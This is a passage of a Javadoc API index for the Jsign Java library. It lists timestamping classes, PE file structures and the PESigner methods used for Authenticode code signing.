- Class in
net.jsign.timestamp
Interface for a timestamping service.
Timestamper()
- Constructor for class net.jsign.timestamp.
Timestamper
TimestampingException
- Exception in
net.jsign.timestamp
Timestamping exception.
TimestampingException(String, Throwable)
- Constructor for exception net.jsign.timestamp.
TimestampingException
TimestampingMode
- Enum in
net.jsign.timestamp
Enumeration of the timestamping modes.
toBytes()
- Method in class net.jsign.pe.
CertificateTableEntry
tsaurl
- Variable in class net.jsign.timestamp.
Timestamper
The URL of the timestamping service
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updateChecksum()
- Method in class net.jsign.pe.
PEFile
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valueOf(String)
- Static method in enum net.jsign.
DigestAlgorithm
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
CertificateType
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
DataDirectoryType
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
MachineType
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
PEFormat
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
SectionFlag
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.pe.
Subsystem
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum net.jsign.timestamp.
TimestampingMode
Returns the enum constant of this type with the specified name.
values()
- Static method in enum net.jsign.
DigestAlgorithm
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
CertificateType
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
DataDirectoryType
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
MachineType
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
PEFormat
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
SectionFlag
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.pe.
Subsystem
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum net.jsign.timestamp.
TimestampingMode
Returns an array containing the constants of this enum type, in the order they are declared.
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withDigestAlgorithm(DigestAlgorithm)
- Method in class net.jsign.
PESigner
Set the digest algorithm to use (default is SHA-1 until January 1 2016, SHA-256 afterward)
withProgramName(String)
- Method in class net.jsign.
PESigner
Set the program name embedded in the signature.
withProgramURL(String)
- Method in class net.jsign.
PESigner
Set the program URL embedded in the signature.
withTimestamper(Timestamper)
- Method in class net.jsign.
PESigner
Set the Timestamper implementation.
withTimestamping(boolean)
- Method in class net.jsign.
PESigner
Enable or disable the timestamping (enabled by default).
withTimestampingAutority(String)
- Method in class net.jsign.
PESigner
Set the URL of the timestamping authority.
withTimestampingMode(TimestampingMode)
- Method in class net.jsign.
PESigner
RFC3161 or Authenticode (Authenticode by default).
write(long, int)
- Method in class net.jsign.pe.
DataDirectory
writeDataDirectory(DataDirectoryType, byte[])
- Method in class net.jsign.pe.
PEFile
Writes the data directory of the specified type.
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